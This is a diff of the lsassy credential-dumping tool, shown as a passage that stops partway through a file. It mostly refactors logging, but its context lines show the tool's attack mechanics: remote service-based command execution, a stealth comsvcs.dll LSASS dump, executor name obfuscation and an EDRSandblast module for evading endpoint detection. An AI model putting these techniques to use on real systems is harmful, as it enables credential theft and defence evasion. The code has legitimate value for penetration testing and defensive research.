diff --git a/README.md b/README.md index 3dc5566..bcb3a2b 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,5 @@ # lsassy - -[![PyPI version](https://badge.fury.io/py/lsassy.svg)](https://pypi.org/project/lsassy) +[![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=v3.1.7&x2=0)](https://pypi.org/project/lsassy) [![PyPI Statistics](https://img.shields.io/pypi/dm/lsassy.svg)](https://pypistats.org/packages/lsassy) [![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo) diff --git a/lsassy/__init__.py b/lsassy/__init__.py index d4cc3e2..47ed839 100644 --- a/lsassy/__init__.py +++ b/lsassy/__init__.py @@ -1 +1 @@ -__version__ = '3.1.6' +__version__ = '3.1.7' diff --git a/lsassy/console.py b/lsassy/console.py index b101b2d..4e95ba4 100644 --- a/lsassy/console.py +++ b/lsassy/console.py @@ -4,6 +4,8 @@ from lsassy import __version__ from lsassy.core import ThreadPool from lsassy.dumper import Dumper +from lsassy.logger import lsassy_logger +import logging def main(): @@ -82,6 +84,14 @@ def main(): args = parser.parse_args() + if args.v == 1: + lsassy_logger.setLevel(logging.INFO) + elif args.v >= 2: + lsassy_logger.setLevel(logging.DEBUG) + lsassy_logger.info("lsassy v {}".format(__version__)) + else: + lsassy_logger.setLevel(logging.ERROR) + ThreadPool(args.target, args).run() diff --git a/lsassy/core.py b/lsassy/core.py index 75ceadc..8c4b22f 100644 --- a/lsassy/core.py +++ b/lsassy/core.py @@ -5,13 +5,14 @@ import time from queue import Queue -from lsassy import logger, __version__ +from lsassy import __version__ from lsassy.dumper import Dumper from lsassy.impacketfile import ImpacketFile from lsassy.parser import Parser from lsassy.session import Session from lsassy.utils import get_targets from lsassy.writer import Writer +from lsassy.logger import lsassy_logger lock = threading.RLock() @@ -43,12 +44,13 @@ def __init__(self, targets, arguments): self.arguments = arguments self.threads = [] self.max_threads = arguments.threads - self.task_q = Queue(self.max_threads+10) + self.task_q = Queue(self.max_threads) + lsassy_logger.no_color = self.arguments.no_color signal.signal(signal.SIGINT, self.interrupt_event) signal.signal(signal.SIGTERM, self.interrupt_event) def interrupt_event(self, signum, stack): - logging.error("**CTRL+C** QUITTING GRACEFULLY") + lsassy_logger.error("**CTRL+C** QUITTING GRACEFULLY") self.stop() raise KeyboardInterrupt @@ -62,19 +64,8 @@ def isRunning(self): return any(thread.is_alive() for thread in self.threads) def run(self): - logger.init(no_color=self.arguments.no_color) threading.current_thread().name = "[Core]" - if self.arguments.v == 1: - logging.getLogger().setLevel(logging.INFO) - elif self.arguments.v >= 2: - logging.getLogger().setLevel(logging.DEBUG) - threading.current_thread().name = "[DEBUG]" - logging.info("lsassy v {}".format(__version__)) - else: - logging.getLogger().setLevel(logging.ERROR) - - threading.current_thread().name = "[Core]" try: # Turn-on the worker threads for i in range(self.max_threads): @@ -84,15 +75,16 @@ def run(self): thread.start() instance_id = 1 + lsassy_logger.debug(f"Targets: {self.targets}") for target in self.targets: self.task_q.put(Lsassy(target, self.arguments, instance_id)) + lsassy_logger.debug(f"Created target: {instance_id}: {target}") instance_id += 1 # Block until all tasks are done self.task_q.join() - except KeyboardInterrupt as e: - logging.error("Au revoir.") + lsassy_logger.error("Au revoir.") class Lsassy: @@ -134,7 +126,7 @@ def run(self): dump_path = dump_path.replace('/', '\\') if len(dump_path) > 1 and dump_path[1] == ":": if dump_path[0] != "C": - logging.error("Drive '{}' is not supported. 'C' drive only.".format(dump_path[0])) + lsassy_logger.error("Drive '{}' is not supported. 'C' drive only.".format(dump_path[0])) return False dump_path = dump_path[2:] if dump_path[-1] != "\\": @@ -146,7 +138,7 @@ def run(self): masterkeys_file = self.args.masterkeys_file if parse_only and (dump_path is None or self.args.dump_name is None): - logging.error("--dump-path and --dump-name required for --parse-only option") + lsassy_logger.error("--dump-path and --dump-name required for --parse-only option") return False try: @@ -167,20 +159,20 @@ def run(self): ) if session.smb_session is None: - logging.warning("Couldn't connect to remote host") + lsassy_logger.warning("Couldn't connect to remote host") return False if not parse_only: dumper = Dumper(session, self.args.timeout, self.args.time_between_commands).load(self.args.dump_method) if dumper is None: - logging.error("Unable to load dump module") + lsassy_logger.error("Unable to load dump module") return False file = dumper.dump(no_powershell=self.args.no_powershell, exec_methods=exec_methods, copy=self.args.copy, dump_path=dump_path, dump_name=self.args.dump_name, **options) if file is None: - logging.error("Unable to dump lsass.") + lsassy_logger.error("Unable to dump lsass.") return False else: file = ImpacketFile(session).open( @@ -190,7 +182,7 @@ def run(self): timeout=self.args.timeout ) if file is None: - logging.error("Unable to open lsass dump.") + lsassy_logger.error("Unable to open lsass dump.") return False credentials, tickets, masterkeys = Parser(file).parse() @@ -198,12 +190,12 @@ def run(self): if not parse_only and not keep_dump: ImpacketFile.delete(session, file.get_file_path(), timeout=self.args.timeout) - logging.success("Lsass dump deleted") + lsassy_logger.debug("Lsass dump deleted") else: - logging.debug("Not deleting lsass dump as --parse-only was provided") + lsassy_logger.debug("Not deleting lsass dump as --parse-only was provided") if credentials is None: - logging.error("Unable to extract credentials from lsass. Cleaning.") + lsassy_logger.error("Unable to extract credentials from lsass. Cleaning.") return False with lock: @@ -222,38 +214,38 @@ def run(self): except KeyboardInterrupt: pass except Exception as e: - logging.error("An unknown error has occurred.", exc_info=True) + lsassy_logger.error("An unknown error has occurred.", exc_info=True) finally: - logging.debug("Cleaning...") - logging.debug("dumper: {}".format(dumper)) - logging.debug("file: {}".format(file)) - logging.debug("session: {}".format(session)) + lsassy_logger.debug("Cleaning...") + lsassy_logger.debug("dumper: {}".format(dumper)) + lsassy_logger.debug("file: {}".format(file)) + lsassy_logger.debug("session: {}".format(session)) try: dumper.clean() - logging.debug("Dumper cleaned") + lsassy_logger.debug("Dumper cleaned") except Exception as e: - logging.debug("Potential issue while cleaning dumper: {}".format(str(e))) + lsassy_logger.debug("Potential issue while cleaning dumper: {}".format(str(e))) try: file.close() - logging.debug("File closed") + lsassy_logger.debug("File closed") except Exception as e: - logging.debug("Potential issue while closing file: {}".format(str(e))) + lsassy_logger.debug("Potential issue while closing file: {}".format(str(e))) if not parse_only and not keep_dump: try: if ImpacketFile.delete(session, file_path=file.get_file_path(), timeout=self.args.timeout): - logging.debug("Lsass dump deleted") + lsassy_logger.debug("Lsass dump deleted") except Exception as e: try: - logging.debug("Couldn't delete lsass dump using file. Trying dump object...") + lsassy_logger.debug("Couldn't delete lsass dump using file. Trying dump object...") if ImpacketFile.delete(session, file_path=dumper.dump_path + dumper.dump_name, timeout=self.args.timeout): - logging.debug("Lsass dump deleted") + lsassy_logger.debug("Lsass dump deleted") except Exception as e: - logging.debug("Potential issue while deleting lsass dump: {}".format(str(e))) + lsassy_logger.debug("Potential issue while deleting lsass dump: {}".format(str(e))) try: session.smb_session.close() - logging.debug("SMB session closed") + lsassy_logger.debug("SMB session closed") except Exception as e: - logging.debug("Potential issue while closing SMB session: {}".format(str(e))) + lsassy_logger.debug("Potential issue while closing SMB session: {}".format(str(e))) diff --git a/lsassy/dumper.py b/lsassy/dumper.py index 565c8c2..d5a39d5 100644 --- a/lsassy/dumper.py +++ b/lsassy/dumper.py @@ -1,8 +1,8 @@ -import logging import importlib import pkgutil from lsassy import dumpmethod, exec +from lsassy.logger import lsassy_logger class Dumper: @@ -13,7 +13,6 @@ class Dumper: Returns None if doesn't exist. """ def __init__(self, session, timeout, time_between_commands): - self._session = session self._timeout = timeout self._time_between_commands = time_between_commands @@ -27,10 +26,10 @@ def load(self, dump_module): try: return importlib.import_module("lsassy.dumpmethod.{}".format(dump_module.lower()), "DumpMethod").DumpMethod(self._session, self._timeout, self._time_between_commands) except ModuleNotFoundError: - logging.warning("Dump module '{}' doesn't exist".format(dump_module)) + lsassy_logger.warning("Dump module '{}' doesn't exist".format(dump_module)) return None except Exception: - logging.warning("Unknown error while loading '{}'".format(dump_module), exc_info=True) + lsassy_logger.warning("Unknown error while loading '{}'".format(dump_module), exc_info=True) return None @staticmethod diff --git a/lsassy/dumpmethod/__init__.py b/lsassy/dumpmethod/__init__.py index 87b5db0..eb06ea7 100644 --- a/lsassy/dumpmethod/__init__.py +++ b/lsassy/dumpmethod/__init__.py @@ -1,12 +1,12 @@ import base64 import importlib -import logging import os import random import string import time from lsassy.impacketfile import ImpacketFile +from lsassy.logger import lsassy_logger class CustomBuffer: @@ -37,6 +37,7 @@ def __init__(self, name, file=None, content=None): self.uploaded = False self.content = content self.share_mode = False + def get_remote_path(self): return self.remote_path + self.file @@ -48,7 +49,7 @@ def init(self, options): self.path = options.get("{}_path".format(self.name), self.path) if not self.path: - logging.error("Missing {}_path".format(self.name)) + lsassy_logger.error("Missing {}_path".format(self.name)) return None if self.path.startswith('\\\\'): @@ -58,7 +59,7 @@ def init(self, options): self.share_mode = True return True if not os.path.exists(self.path): - logging.error("{} does not exist.".format(self.path)) + lsassy_logger.error("{} does not exist.".format(self.path)) return None return True @@ -70,21 +71,21 @@ def upload(self, session): return True if self.content is None: - logging.debug('Copy {} to {}'.format(self.path, self.remote_path)) + lsassy_logger.debug('Copy {} to {}'.format(self.path, self.remote_path)) with open(self.path, 'rb') as p: try: session.smb_session.putFile(self.remote_share, self.remote_path + self.file, p.read) - logging.success("{} uploaded".format(self.name)) + print("{} uploaded".format(self.name)) self.uploaded = True return True except Exception as e: - logging.error("{} upload error".format(self.name), exc_info=True) + lsassy_logger.error("{} upload error".format(self.name), exc_info=True) return None else: if not ImpacketFile.create_file(session, self.remote_share, self.remote_path, self.file, self.content): - logging.error("{} upload error".format(self.name), exc_info=True) + lsassy_logger.error("{} upload error".format(self.name), exc_info=True) return None - logging.success("{} uploaded".format(self.name)) + print("{} uploaded".format(self.name)) self.uploaded = True return True @@ -120,12 +121,13 @@ def __init__(self, session, timeout, time_between_commands, *args, **kwargs): self._executor_copied = False self._timeout = timeout self._time_between_commands = time_between_commands + def get_exec_method(self, exec_method, no_powershell=False): try: exec_method = importlib.import_module("lsassy.exec.{}".format(exec_method.lower()), "Exec").Exec(self._session) except ModuleNotFoundError: - logging.error("Exec module '{}' doesn't exist".format(exec_method.lower()), exc_info=True) + lsassy_logger.error("Exec module '{}' doesn't exist".format(exec_method.lower()), exc_info=True) return None if not self.need_debug_privilege or exec_method.debug_privilege: @@ -172,15 +174,15 @@ def executor_copy(self, executor): self._executor_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + "." + random.choice(IDumpMethod.ext) self._executor_path = "\\Windows\\Temp\\" try: - logging.info("Opening {}".format(executor)) + lsassy_logger.info("Opening {}".format(executor)) buff = CustomBuffer() self._session.smb_session.getFile("C$", executor_locations[executor], buff.write) self._session.smb_session.putFile("C$", self._executor_path + self._executor_name, buff.read) - logging.success("{} copied as {}".format(executor, self._executor_name)) + print("{} copied as {}".format(executor, self._executor_name)) self._executor_copied = True return True except Exception as e: - logging.debug("An error occurred while copying {}".format(executor), exc_info=True) + lsassy_logger.debug("An error occurred while copying {}".format(executor), exc_info=True) self._executor_path = "" self._executor_name = executor + ".exe" return None @@ -188,17 +190,17 @@ def executor_copy(self, executor): def executor_clean(self): if self._executor_copied: ImpacketFile.delete(self._session, self._executor_path + self._executor_name, timeout=self._timeout) - logging.debug("Executor copy deleted") + lsassy_logger.debug("Executor copy deleted") def build_exec_command(self, commands, exec_method, no_powershell=False, copy=False): - logging.debug("Building command - Exec Method has seDebugPrivilege: {} | seDebugPrivilege needed: {} | Powershell allowed: {} | Copy executor: {}".format(exec_method.debug_privilege, self.need_debug_privilege, not no_powershell, copy)) + lsassy_logger.debug("Building command - Exec Method has seDebugPrivilege: {} | seDebugPrivilege needed: {} | Powershell allowed: {} | Copy executor: {}".format(exec_method.debug_privilege, self.need_debug_privilege, not no_powershell, copy)) if commands["cmd"] is not None and (not self.need_debug_privilege or exec_method.debug_privilege): if not isinstance(commands["cmd"], list): commands["cmd"] = [commands["cmd"]] self._executor_name = 'cmd.exe' if copy: self.executor_copy('cmd') - logging.debug(commands["cmd"]) + lsassy_logger.debug(commands["cmd"]) executor_commands = ["""/Q /c {}""".format(command) for command in commands["cmd"]] elif commands["pwsh"] is not None and not no_powershell: if not isinstance(commands["pwsh"], list): @@ -206,24 +208,24 @@ def build_exec_command(self, commands, exec_method, no_powershell=False, copy=Fa self._executor_name = 'powershell.exe' if copy: self.executor_copy('powershell') - logging.debug(commands["pwsh"]) + lsassy_logger.debug(commands["pwsh"]) executor_commands = ["-NoP -Enc {}".format(base64.b64encode(command.encode('UTF-16LE')).decode("utf-8")) for command in commands["pwsh"]] else: - logging.error("Shouldn't fall here. Incompatible constraints") + lsassy_logger.error("Shouldn't fall here. Incompatible constraints") return None self._executor_name = ''.join(random.choice([str.upper, str.lower])(c) for c in self._executor_name) return ["{}{} {}".format(self._executor_path, self._executor_name, command) for command in executor_commands] def dump(self, dump_path=None, dump_name=None, no_powershell=False, copy=False, exec_methods=None, **kwargs): - logging.info("Dumping via {}".format(self.__module__)) + lsassy_logger.info("Dumping via {}".format(self.__module__)) if exec_methods is not None: self.exec_methods = exec_methods if dump_name is not None: if not self.custom_dump_name_support: - logging.warning("A custom dump name was provided, but dump method {} doesn't support custom dump name".format(self.__module__)) - logging.warning("Dump file will be {}".format(self.dump_name)) + lsassy_logger.warning("A custom dump name was provided, but dump method {} doesn't support custom dump name".format(self.__module__)) + lsassy_logger.warning("Dump file will be {}".format(self.dump_name)) else: self.dump_name = dump_name elif self.dump_name == "": @@ -236,43 +238,45 @@ def dump(self, dump_path=None, dump_name=None, no_powershell=False, copy=False, if dump_path is not None: if not self.custom_dump_path_support: - logging.warning("A custom dump path was provided, but dump method {} doesn't support custom dump path".format(self.__module__)) - logging.warning("Dump path will be {}{}".format(self.dump_share, self.dump_path)) + lsassy_logger.warning("A custom dump path was provided, but dump method {} doesn't support custom dump path".format(self.__module__)) + lsassy_logger.warning("Dump path will be {}{}".format(self.dump_share, self.dump_path)) else: self.dump_path = dump_path valid_exec_methods = {} for e in self.exec_methods: exec_method = self.get_exec_method(e, no_powershell) - if exec_method is not None: + lsassy_logger.debug(f"Exec method: {exec_method}") + if exec_method is not None and exec_method not in valid_exec_methods: valid_exec_methods[e] = exec_method else: - logging.debug("Exec method '{}' is not compatible".format(e)) + lsassy_logger.debug("Exec method '{}' is not compatible".format(e)) + lsassy_logger.debug(f"Exec Methods: {valid_exec_methods}") if len(valid_exec_methods) == 0: - logging.error("Current dump constrains cannot be fulfilled") - logging.debug("Dump class: {} (Need SeDebugPrivilege: {})".format(self.__module__, self.need_debug_privilege)) - logging.debug("Exec methods: {}".format(self.exec_methods)) - logging.debug("Powershell allowed: {}".format("No" if no_powershell else "Yes")) + lsassy_logger.error("Current dump constrains cannot be fulfilled") + lsassy_logger.debug("Dump class: {} (Need SeDebugPrivilege: {})".format(self.__module__, self.need_debug_privilege)) + lsassy_logger.debug("Exec methods: {}".format(self.exec_methods)) + lsassy_logger.debug("Powershell allowed: {}".format("No" if no_powershell else "Yes")) return None if self.prepare(kwargs) is None: - logging.error("Module prerequisites could not be processed") + lsassy_logger.error("Module prerequisites could not be processed") self.clean() return None try: commands = self.get_commands() except NotImplementedError: - logging.warning("Module '{}' hasn't implemented all required methods".format(self.__module__)) + lsassy_logger.warning("Module '{}' hasn't implemented all required methods".format(self.__module__)) return None if not isinstance(commands, dict) or "cmd" not in commands or "pwsh" not in commands: - logging.warning("Return value of {} was not expected. Expecting {'cmd':'...', 'pwsh':'...'}") + lsassy_logger.warning("Return value of {} was not expected. Expecting {'cmd':'...', 'pwsh':'...'}") return None for e, exec_method in valid_exec_methods.items(): - logging.info("Trying {} method".format(e)) + lsassy_logger.info("Trying {} method".format(e)) exec_commands = self.build_exec_command(commands, exec_method, no_powershell, copy) if exec_commands is None: # Shouldn't fall there, but if we do, just skip to next execution method @@ -283,24 +287,24 @@ def dump(self, dump_path=None, dump_name=None, no_powershell=False, copy=False, if not first_execution: time.sleep(self._time_between_commands) first_execution = False - logging.debug("Transformed command: {}".format(exec_command)) + lsassy_logger.debug("Transformed command: {}".format(exec_command)) res = exec_method.exec(exec_command) self.executor_clean() self.clean() except Exception: - logging.error("Execution method {} has failed".format(exec_method.__module__), exc_info=True) + lsassy_logger.error("Execution method {} has failed".format(exec_method.__module__), exc_info=True) continue if not res: - logging.error("Failed to dump lsass using {}".format(e)) + lsassy_logger.error("Failed to dump lsass using {}".format(e)) continue self._file_handle = self._file.open(self.dump_share, self.dump_path, self.dump_name, timeout=self._timeout) if self._file_handle is None: - logging.error("Failed to dump lsass using {}".format(e)) + lsassy_logger.error("Failed to dump lsass using {}".format(e)) continue - logging.success("Lsass dumped in C:{}{} ({} Bytes)".format(self.dump_path, self.dump_name, self._file_handle.size())) + lsassy_logger.info("Lsass dumped in C:{}{} ({} Bytes)".format(self.dump_path, self.dump_name, self._file_handle.size())) return self._file_handle - logging.error("All execution methods have failed") + lsassy_logger.error("All execution methods have failed") self.clean() return None @@ -312,12 +316,12 @@ def failsafe(self, timeout=3): else: try: self._session.smb_session.deleteFile(self.dump_share, self.dump_path + "/" + self.dump_name) - logging.debug("Lsass dump deleted") + lsassy_logger.debug("Lsass dump deleted") except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" in str(e) or "STATUS_NO_SUCH_FILE" in str(e): return True if time.time() - t > timeout: - logging.warning("Lsass dump wasn't removed in {}{}".format(self.dump_share, self.dump_path + "/" + self.dump_name), exc_info=True) + lsassy_logger.warning("Lsass dump wasn't removed in {}{}".format(self.dump_share, self.dump_path + "/" + self.dump_name), exc_info=True) return None - logging.debug("Unable to delete lsass dump file {}{}. Retrying...".format(self.dump_share, self.dump_path + "/" + self.dump_name)) + lsassy_logger.debug("Unable to delete lsass dump file {}{}. Retrying...".format(self.dump_share, self.dump_path + "/" + self.dump_name)) time.sleep(0.5) diff --git a/lsassy/dumpmethod/comsvcs_stealth.py b/lsassy/dumpmethod/comsvcs_stealth.py index 8b06c59..111c435 100644 --- a/lsassy/dumpmethod/comsvcs_stealth.py +++ b/lsassy/dumpmethod/comsvcs_stealth.py @@ -1,9 +1,9 @@ -import logging import random import string from lsassy.dumpmethod import IDumpMethod, CustomBuffer from lsassy.impacketfile import ImpacketFile +from lsassy.logger import lsassy_logger class DumpMethod(IDumpMethod): @@ -20,7 +20,8 @@ def __init__(self, session, timeout, time_between_commands): self.comsvcs_copied = False self.comsvcs_copy_name = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) + ".dll" self.comsvcs_copy_path = "\\Windows\\Temp\\" - logging.debug("Comsvcss.dll will be copied to {}{}".format(self.comsvcs_copy_path, self.comsvcs_copy_name)) + + lsassy_logger.debug("Comsvcss.dll will be copied to {}{}".format(self.comsvcs_copy_path, self.comsvcs_copy_name)) def random_case(self, s): return ''.join(c.upper() if random.getrandbits(1) == 1 else c.lower() for c in s) @@ -51,11 +52,11 @@ def get_commands(self): def prepare(self, options): try: - logging.info("Opening comsvcs.dll") + lsassy_logger.info("Opening comsvcs.dll") buff = CustomBuffer() self._session.smb_session.getFile("C$", "\\Windows\\System32\\comsvcs.dll", buff.write) self._session.smb_session.putFile("C$", self.comsvcs_copy_path + self.comsvcs_copy_name, buff.read) - logging.success("Comsvcs.dll copied") + lsassy_logger.info("Comsvcs.dll copied") self.comsvcs_copied = True return True except Exception as e: diff --git a/lsassy/dumpmethod/edrsandblast.py b/lsassy/dumpmethod/edrsandblast.py index 743780e..faf2a73 100644 --- a/lsassy/dumpmethod/edrsandblast.py +++ b/lsassy/dumpmethod/edrsandblast.py @@ -1,14 +1,13 @@ """ https://github.com/wavestone-cdt/EDRSandblast """ - -import logging import os import random import string import subprocess from lsassy.dumpmethod import IDumpMethod, Dependency +from lsassy.logger import lsassy_logger class DumpMethod(IDumpMethod): @@ -19,6 +18,7 @@ def __init__(self, session, timeout, time_between_commands): self.ntoskrnl = Dependency("ntoskrnl", "NtoskrnlOffsets.csv") self.tmp_ntoskrnl = "lsassy_" + ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(32)) + ".exe" + def prepare(self, options): if os.name == 'nt': @@ -28,9 +28,9 @@ def prepare(self, options): with open('{}{}'.format(tmp_dir, self.tmp_ntoskrnl), 'wb') as p: try: self._session.smb_session.getFile("C$", "\\Windows\\System32\\ntoskrnl.exe", p.write) - logging.success("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl)) + lsassy_logger.info("ntoskrnl.exe downloaded to {}{}".format(tmp_dir, self.tmp_ntoskrnl)) except Exception as e: - logging.error("ntoskrnl.exe download error", exc_info=True) + lsassy_logger.error("ntoskrnl.exe download error", exc_info=True) try: os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) except Exception as e: @@ -39,8 +39,8 @@ def prepare(self, options): self.ntoskrnl.content = self.get_offsets("{}{}".format(tmp_dir, self.tmp_ntoskrnl)) if self.ntoskrnl.content is not None: - logging.success("ntoskrnl offsets extracted") - logging.debug(self.ntoskrnl.content.split("\n")[1]) + lsassy_logger.info("ntoskrnl offsets extracted") + lsassy_logger.debug(self.ntoskrnl.content.split("\n")[1]) os.remove('{}{}'.format(tmp_dir, self.tmp_ntoskrnl)) return self.prepare_dependencies(options, [self.edrsandblast, self.RTCore64, self.ntoskrnl]) @@ -520,7 +520,7 @@ def extractOffsets(self, input_file): try: full_version = self.get_file_version(input_file) if not full_version: - logging.error(f'[!] ERROR : failed to extract version from {input_file}.') + lsassy_logger.error(f'[!] ERROR : failed to extract version from {input_file}.') return None # Checks if the image version is already present in the CSV @@ -545,7 +545,7 @@ def extractOffsets(self, input_file): symbol_value = get_offset(all_symbols_info, symbol_name) symbols_values.append(symbol_value) if "R2_CURL" not in os.environ and all(val == 0 for val in symbols_values): - logging.warning("Radare2 may have trouble to download PDB files. R2_CURL=1 environement variable has been set. Trying again.") + lsassy_logger.warning("Radare2 may have trouble to download PDB files. R2_CURL=1 environement variable has been set. Trying again.") os.environ["R2_CURL"] = "1" self.extractOffsets(input_file) @@ -558,19 +558,19 @@ def get_offsets(self, ntoskrnl_path): output = self.run(["r2", "-v"], capture_output=True).stdout.decode() except Exception as e: if "No such file or directory" in str(e): - logging.warning("'r2' command is not in path. Automatic offsets extraction is not possible.") + lsassy_logger.warning("'r2' command is not in path. Automatic offsets extraction is not possible.") else: - logging.warning("Unexpected error while running Radare2") + lsassy_logger.warning("Unexpected error while running Radare2") return None ma, me, mi = map(int, output.splitlines()[0].split(" ")[1].split(".")) if (ma, me, mi) < (5, 0, 0): - logging.error("This feature has been tested with radare2 5.0.0 (works) and 4.3.1 (does NOT work)") + lsassy_logger.error("This feature has been tested with radare2 5.0.0 (works) and 4.3.1 (does NOT work)") return None try: self.run(["cabextract", "-v"], check=True, capture_output=True) except (subprocess.CalledProcessError, FileNotFoundError): - logging.error("Radare2 needs 'cabextract' package to be installed to work with PDB") + lsassy_logger.error("Radare2 needs 'cabextract' package to be installed to work with PDB") return None output_content = 'ntoskrnlVersion,PspCreateProcessNotifyRoutineOffset,PspCreateThreadNotifyRoutineOffset,PspLoadImageNotifyRoutineOffset,_PS_PROTECTIONOffset,EtwThreatIntProvRegHandleOffset,EtwRegEntry_GuidEntryOffset,EtwGuidEntry_ProviderEnableInfoOffset\n' diff --git a/lsassy/exec/__init__.py b/lsassy/exec/__init__.py index 4afa462..7634989 100644 --- a/lsassy/exec/__init__.py +++ b/lsassy/exec/__init__.py @@ -1,4 +1,4 @@ -import logging +from lsassy.logger import lsassy_logger class IExec: @@ -10,14 +10,15 @@ class IExec: def __init__(self, session): self.session = session + def exec(self, command): """ To be implemented in all exec modules :param command: Command to be executed on remote host """ - logging.info("Executing using {}".format(self.__module__)) + lsassy_logger.info("Executing using {}".format(self.__module__)) if not self.kerberos_support and self.session.kerberos is True: - logging.error("Module {} does not support Kerberos authentication".format(self.__module__)) + lsassy_logger.error("Module {} does not support Kerberos authentication".format(self.__module__)) return False return True diff --git a/lsassy/exec/mmc.py b/lsassy/exec/mmc.py index 360fb42..da5a296 100644 --- a/lsassy/exec/mmc.py +++ b/lsassy/exec/mmc.py @@ -29,8 +29,6 @@ # getInterface() method # -import logging - from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, string_to_bin, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ VARIANT, VARENUM, DISPATCH_METHOD from impacket.dcerpc.v5.dcomrt import DCOMConnection @@ -40,6 +38,7 @@ from impacket.dcerpc.v5.dtypes import NULL from lsassy.exec import IExec +from lsassy.logger import lsassy_logger class Exec(IExec): @@ -72,7 +71,7 @@ def getInterface(self, interface, resp): elif objRefType == FLAGS_OBJREF_EXTENDED: objRef = OBJREF_EXTENDED(b''.join(resp)) else: - logging.error("Unknown OBJREF Type! 0x%x" % objRefType) + lsassy_logger.error("Unknown OBJREF Type! 0x%x" % objRefType) return IRemUnknown2( INTERFACE(interface.get_cinstance(), None, interface.get_ipidRemUnknown(), objRef['std']['ipid'], @@ -139,7 +138,7 @@ def exec(self, command): self.__executeShellCommand = (iActiveView, pExecuteShellCommand) except Exception as e: - logging.debug("Error : {}".format(e), exc_info=True) + lsassy_logger.debug("Error : {}".format(e), exc_info=True) self.clean() dispParams = DISPPARAMS(None, False) diff --git a/lsassy/exec/smb.py b/lsassy/exec/smb.py index 72c1729..131a9a2 100644 --- a/lsassy/exec/smb.py +++ b/lsassy/exec/smb.py @@ -7,13 +7,13 @@ # Based on Impacket smbexec implementation by @agsolino # https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py -import logging import random import string from impacket.dcerpc.v5 import transport, scmr from lsassy.exec import IExec +from lsassy.logger import lsassy_logger class Exec(IExec): @@ -30,37 +30,37 @@ def __init__(self, session): self._rpctransport = None self._serviceName = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(8)) super().__init__(session) - + def clean(self): try: scmr.hRDeleteService(self._scmr, self._service) scmr.hRCloseServiceHandle(self._scmr, self._service) - logging.debug("Service %s deleted" % self._serviceName) + lsassy_logger.debug("Service %s deleted" % self._serviceName) except: - logging.warning("An error occurred while trying to delete service %s. Trying again." % self._serviceName) + lsassy_logger.warning("An error occurred while trying to delete service %s. Trying again." % self._serviceName) try: - logging.debug("Trying to connect back to SCMR") + lsassy_logger.debug("Trying to connect back to SCMR") self._scmr = self._rpctransport.get_dce_rpc() try: self._scmr.connect() except Exception as e: raise Exception("An error occurred while connecting to SVCCTL: %s" % e) - logging.debug("Connected to SCMR") + lsassy_logger.debug("Connected to SCMR") self._scmr.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(self._scmr) _scHandle = resp['lpScHandle'] resp = scmr.hROpenServiceW(self._scmr, _scHandle, self._serviceName) - logging.debug("Found service %s" % self._serviceName) + lsassy_logger.debug("Found service %s" % self._serviceName) self._service = resp['lpServiceHandle'] scmr.hRDeleteService(self._scmr, self._service) - logging.debug("Service %s deleted" % self._serviceName) + lsassy_logger.debug("Service %s deleted" % self._serviceName) scmr.hRControlService(self._scmr, self._service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self._scmr, self._service) except scmr.DCERPCException: - logging.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, exc_info=True) + lsassy_logger.debug("A DCERPCException error occured while trying to delete %s" % self._serviceName, exc_info=True) pass except: - logging.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True) + lsassy_logger.debug("An unknown error occured while trying to delete %s" % self._serviceName, exc_info=True) pass def exec(self, command): @@ -68,7 +68,7 @@ def exec(self, command): return False try: stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % self.session.address - logging.debug('StringBinding %s' % stringbinding) + lsassy_logger.debug('StringBinding %s' % stringbinding) self._rpctransport = transport.DCERPCTransportFactory(stringbinding) self._rpctransport.set_dport(445) self._rpctransport.setRemoteHost(self.session.address) @@ -90,16 +90,16 @@ def exec(self, command): resp = scmr.hRCreateServiceW(self._scmr, _scHandle, self._serviceName, self._serviceName, lpBinaryPathName="%COMSPEC% /Q /c {}".format(command), dwStartType=scmr.SERVICE_DEMAND_START) - logging.debug("Service %s created" % self._serviceName) + lsassy_logger.debug("Service %s created" % self._serviceName) self._service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self._scmr, self._service) - logging.debug("Service %s restarted for command execution" % self._serviceName) + lsassy_logger.debug("Service %s restarted for command execution" % self._serviceName) except: pass self.clean() except KeyboardInterrupt as e: - logging.debug("Keyboard interrupt: Trying to delete %s if it exists" % self._serviceName) + lsassy_logger.debug("Keyboard interrupt: Trying to delete %s if it exists" % self._serviceName) self.clean() raise KeyboardInterrupt(e) except Exception as e: diff --git a/lsassy/exec/smb_stealth.py b/lsassy/exec/smb_stealth.py index 3915452..4f68bbd 100644 --- a/lsassy/exec/smb_stealth.py +++ b/lsassy/exec/smb_stealth.py @@ -11,12 +11,11 @@ # And Mr-Un1k0d3r scshell.py script (Thanks @_Laox https://twitter.com/_Laox/status/1435552150868926468) # https://raw.githubusercontent.com/Mr-Un1k0d3r/SCShell/master/scshell.py -import logging - from impacket.dcerpc.v5 import transport, scmr from impacket.dcerpc.v5.ndr import NULL from lsassy.exec import IExec +from lsassy.logger import lsassy_logger class Exec(IExec): @@ -56,22 +55,22 @@ def clean(self): NULL, NULL, ) - logging.debug("Service %s restored" % self._serviceName) + lsassy_logger.debug("Service %s restored" % self._serviceName) except: - logging.warning("An error occurred while trying to restore service %s. Trying again." % self._serviceName) + lsassy_logger.warning("An error occurred while trying to restore service %s. Trying again." % self._serviceName) try: - logging.debug("Trying to connect back to SCMR") + 